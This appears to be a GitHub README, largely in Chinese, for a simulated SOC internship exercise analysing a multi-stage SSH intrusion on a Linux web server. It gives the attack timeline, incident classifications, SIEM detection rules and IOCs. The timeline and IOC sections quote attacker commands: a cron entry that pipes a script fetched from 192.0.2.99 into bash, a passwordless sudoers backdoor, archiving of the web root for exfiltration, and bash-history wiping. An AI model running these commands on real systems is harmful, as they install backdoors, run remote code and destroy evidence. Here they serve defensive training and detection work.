HARMAIN-SHAH/soc-monitoring-incident-response

GitHub: HARMAIN-SHAH/soc-monitoring-incident-response

该项目模拟 SOC 场景,对 Linux 服务器多阶段入侵进行日志分析、事件分类、检测规则编写及 NIST 事件响应流程落地。

Stars: 0 | Forks: 0

# 🔵 安全监控与事件响应 ### 项目 04 — 蓝队 | Cryptonic Area 网络安全实习

## 📋 目录 - [项目概述](#-project-overview) - [场景与背景](#-scenario--context) - [分析的日志来源](#-log-sources-analysed) - [攻击时间线](#-attack-timeline) - [事件分类](#-incident-classification) - [检测规则](#-detection-rules) - [入侵指标](#-indicators-of-compromise-iocs) - [事件响应工作流](#-incident-response-workflow) - [仓库结构](#-repository-structure) - [报告](#-report) - [展示的技能](#-skills-demonstrated) - [免责声明](#-disclaimer) ## 🔍 项目概述 本项目是 **Cryptonic Area 网络安全与道德黑客实习计划 — 项目 04(蓝队)** 的一部分。它模拟了真实世界的安全运营中心 (SOC) 调查,分析师在其中检测、分析并响应针对生产环境 Linux Web 服务器的多阶段入侵。 提供了两个原始服务器日志文件 —— `auth.log` 和 `syslog.log` —— 其中包含了正常基线活动和实时入侵的混合内容。目标是识别每一个恶意事件,重建完整的攻击链,按严重程度对每个事件进行分类,创建检测规则,并生成专业的事件响应报告。 ## 🏢 场景与背景 | 字段 | 详情 | |---|---| | **项目** | 04 — 蓝队:安全监控与事件响应 | | **主机** | webserver01 | | **日志周期** | 2024年3月9日 – 2024年3月10日 | | **事件窗口** | 2024年3月10日, 03:14 AM – 06:33 AM | | **日志来源** | auth.log + syslog.log | | **分析师角色** | SOC 分析师 / 事件响应人员 | | **应用框架** | NIST SP 800-61 事件响应生命周期 | ## 📂 分析的日志来源 ### auth.log 记录 Linux 系统上的所有身份验证事件: - SSH 登录尝试(成功和失败) - sudo 命令执行 - 用户账户创建和修改 - 会话打开/关闭事件 - PAM 身份验证日志 ### syslog.log 记录系统级事件: - Cron 作业执行 - 内核消息(IPTABLES 防火墙日志) - systemd 服务事件 - DHCP 租约续订 - 进程审计事件 (EXECVE) ## ⏱️ 攻击时间线 攻击者于 2024 年 3 月 10 日 **03:14 AM** 发起了一次协调的多阶段攻击。在不到 **35 分钟** 的时间内完成了全面入侵。 ``` 03:14:02 ──► SSH Brute-Force begins from 198.51.100.23 (40+ attempts against database, postgres, pi, admin, support, backup...) 03:20:04 ──► Malicious cron job already executing in syslog (curl -s http://192.0.2.99/update.sh | bash — every 10 min) 03:32:29 ──► MaxAuthTries hit — "Too many authentication failures" 03:38:21 ──► Targeted attack on real account "backup" (8 rapid attempts) ↓ 03:45:16 ──► ✅ SUCCESS — Accepted password for "backup" from 198.51.100.23 ↓ 03:45:36 ──► sudo /usr/bin/id ← privilege recon 03:45:41 ──► sudo /usr/bin/cat /etc/sudoers ← sudoers inspection 03:46:21 ──► sudo /bin/bash ← FULL ROOT SHELL OBTAINED ↓ 03:47:11 ──► useradd sysupdate ← backdoor account created (UID=1002) 03:47:19 ──► passwd sysupdate ← password set 03:47:31 ──► usermod -aG sudo sysupdate ← sudo privileges granted 03:47:46 ──► NOPASSWD added to /etc/sudoers ← permanent root persistence ↓ 03:48:26 ──► crontab: */10 * * * * curl -s http://192.0.2.99/update.sh | bash (C2 beacon installed in root crontab) ↓ 03:23:10 ──► tar czf /tmp/.cache_bkp.tar.gz /var/www/html /etc/nginx (web root + nginx config archived — DATA STAGING) 03:23:55 ──► IPTABLES-OUT: Large packets to 192.0.2.99:443 PSH+ACK 03:24:00 ──► IPTABLES-OUT: FIN packet to 192.0.2.99:443 (DATA EXFILTRATION CONFIRMED) ↓ 03:48:51 ──► echo > /home/backup/.bash_history ← evidence wiped 03:48:59 ──► history -c ← history cleared 03:49:19 ──► Session closed — attacker disconnects 06:03:19 ──► Attacker returns via backdoor: Accepted password for "sysupdate" 06:33:19 ──► Session closed (30-min second session) ``` ## 📊 事件分类 | ID | 事件 | 严重程度 | 时间 | 优先级 | |---|---|---|---|---| | INC-001 | SSH 暴力破解活动(40+ 次尝试) | 🟠 高危 | 03:14–03:38 | P2 | | INC-002 | 通过 "backup" 账户成功进行 SSH 入侵 | 🔴 严重 | 03:45:16 | P1 | | INC-003 | 通过 sudo 提权至 Root | 🔴 严重 | 03:45:36–03:46:21 | P1 | | INC-004 | 创建后门账户 "sysupdate" | 🔴 严重 | 03:47:11 | P1 | | INC-005 | 安装恶意 Cron 作业 / C2 信标 | 🔴 严重 | 03:48:26 | P1 | | INC-006 | 数据暂存与外发至 C2 | 🟠 高危 | 03:23:10–03:24:00 | P1 | | INC-007 | 篡改证据(清除 bash 历史记录) | 🟡 中危 | 03:48:51–03:48:59 | P2 | | INC-008 | 通过 "sysupdate" 后门重新进入 | 🟠 高危 | 06:03–06:33 | P1 | | INC-009 | 入侵后的探测 (root/admin) | 🟢 低危 | 12:10, 12:40 | P3 | ## 🔍 检测规则 根据观察到的攻击模式创建了十条 SIEM 检测规则。完整逻辑记录在 [`Detection-Rules.md`](./Detection-Rules.md) 中。 | 规则 | 触发条件 | 严重程度 | |---|---|---| | RULE-01 | 5 分钟内来自同一 IP 的 SSH 登录失败次数 ≥10 | 高危 | | RULE-02 | 3 分钟内来自同一 IP 的“无效用户”尝试次数 ≥5 | 中危 | | RULE-03 | 同一 IP 在之前失败 ≥5 次后成功登录 | 严重 | | RULE-04 | 来自非批准 IP 的 SSH 密码身份验证 | 高危 | | RULE-05 | 22:00–06:00 期间非计划账户的 sudo 事件 | 高危 | | RULE-06 | 在变更管理窗口之外执行 useradd / adduser | 高危 | | RULE-07 | NOPASSWD 或 ALL=(ALL) 被写入 /etc/sudoers | 严重 | | RULE-08 | 包含 curl\|bash 或外部 IP 的 crontab 写入操作 | 严重 | | RULE-09 | 连接到非批准外部 IP 的出站连接 | 高危 | | RULE-10 | 在 /tmp 中创建针对 /var/www 或 /etc 的 tar/zip | 中危 | | RULE-11 | 清除了 bash_history (echo > .bash_history 或 history -c) | 高危 | | RULE-12 | 相同的 curl\|bash cron 每 ≤10 分钟触发一次 | 严重 | ## 🚨 入侵指标 (IOCs) 包含来源的完整 IOC 列表在 [`IOCs.md`](./IOCs.md) 中。 ### 攻击者基础设施 ``` 198.51.100.23 — Attacker source IP (SSH brute-force + intrusion) 192.0.2.99 — C2 / exfiltration server http://192.0.2.99/update.sh — Malicious script (C2 beacon payload) ``` ### 持久化机制 ``` Username: sysupdate (UID=1002, GID=1002) Sudo rule: sysupdate ALL=(ALL) NOPASSWD:ALL Cron entry: */10 * * * * curl -s http://192.0.2.99/update.sh | bash ``` ### 外发数据 ``` /tmp/.cache_bkp.tar.gz — Staged archive (web root + nginx config) /var/www/html — Web application source code /etc/nginx — nginx server configuration Destination: 192.0.2.99:443 (confirmed by IPTABLES-OUT logs) ``` ### 受损账户 ``` backup — Entry point (brute-forced, had sudo privileges) sysupdate — Backdoor account (created by attacker, passwordless root) ``` ## 🔄 事件响应工作流 本次调查应用了 **NIST SP 800-61** 生命周期: ``` ┌─────────────────────────────────────────────────────────────┐ │ 1. DETECTION → SSH brute-force triggers at 03:14 │ │ C2 beacon in syslog at 03:20 │ ├─────────────────────────────────────────────────────────────┤ │ 2. TRIAGE → Classified CRITICAL — active intrusion │ │ Notify Tier 2 SOC + Security Manager │ ├─────────────────────────────────────────────────────────────┤ │ 3. INVESTIGATION → Correlate auth.log + syslog │ │ Identify IPs, accounts, persistence │ ├─────────────────────────────────────────────────────────────┤ │ 4. CONTAINMENT → Block 198.51.100.23 + 192.0.2.99 │ │ Terminate active sessions │ ├─────────────────────────────────────────────────────────────┤ │ 5. ERADICATION → Delete sysupdate account │ │ Remove malicious cron entry │ │ Revert /etc/sudoers │ ├─────────────────────────────────────────────────────────────┤ │ 6. RECOVERY → Rotate secrets, restore from backup │ │ Harden SSH — disable password auth │ ├─────────────────────────────────────────────────────────────┤ │ 7. POST-INCIDENT → Document lessons learned │ │ Update detection rules │ └─────────────────────────────────────────────────────────────┘ ``` 包含具体命令和操作的完整工作流在 [`Incident-Response-Workflow.md`](./Incident-Response-Workflow.md) 中。 ## 📁 仓库结构 ``` soc-monitoring-incident-response/ │ ├── README.md ← You are here ├── IR_Report_Harmain_Shah_CA0200.pdf ← Full professional investigation report │ ├── logs/ │ ├── auth.log ← SSH + authentication events log │ └── syslog.log ← System events + firewall + cron log │ ├── Attack-Timeline.md ← Minute-by-minute attack reconstruction ├── Incident-Classification.md ← All 9 incidents with severity and impact ├── Detection-Rules.md ← 12 SIEM detection rules with logic ├── IOCs.md ← All indicators of compromise ├── Incident-Response-Workflow.md ← NIST SP 800-61 lifecycle applied ├── Security-Recommendations.md ← 10 hardening recommendations └── .gitignore ``` ## 📄 报告 完整的专业事件响应报告可在本仓库中找到: 📎 **[`IR_Report_Harmain_Shah_CA0200.pdf`](./IR_Report_Harmain_Shah_CA0200.pdf)** ### 报告章节: | 章节 | 内容 | |---|---| | 执行摘要 | 包含发现表的完整攻击链概述 | | 详细日志分析 | 正常基线 + 完整攻击时间线 | | 检测逻辑 | 12 条 SIEM 规则及其条件和操作 | | 事件分类 | 所有 9 起事件的严重程度、影响和响应 | | 事件处理工作流 | 应用于本案的 NIST SP 800-61 生命周期 | | 安全建议 | 10 项具体的强化措施及其根因映射 | | IOC 摘要 | 所有攻击者基础设施和持久化工件 | ## 💡 展示的技能 ``` ✔ Log Analysis — auth.log and syslog.log correlation ✔ Attack Reconstruction — Building a timeline from raw log data ✔ Intrusion Detection — Identifying brute-force, escalation, persistence ✔ SIEM Rule Creation — Writing detection logic from observed patterns ✔ Incident Classification — CRITICAL / HIGH / MEDIUM / LOW severity assignment ✔ Threat Intelligence — C2 IP identification, IOC documentation ✔ NIST SP 800-61 — Applying the incident response lifecycle ✔ Evidence Preservation — Identifying anti-forensics and mitigating impact ✔ Hardening Recommendations — Mapping remediation to root causes ✔ Technical Report Writing — Professional incident response documentation ``` ## ⚠️ 免责声明 本项目是作为 Cryptonic Area 提供的 **受控实习培训演练** 的一部分完成的。日志文件(`auth.log` 和 `syslog.log`)是为教育目的而创建的模拟样本。所有 IP 地址和账户名称均为虚构。 在此次调查期间,没有访问或入侵任何真实系统。本仓库中记录的攻击者 IP 和 C2 域名**仅用于威胁情报和教育参考**。

Harmain Shah | 实习生 ID: CA0200
Cryptonic Area 网络安全与道德黑客实习计划
项目 04 — 蓝队:安全监控与事件响应

标签:SOC分析, 子域枚举, 库, 应急响应, 防御加固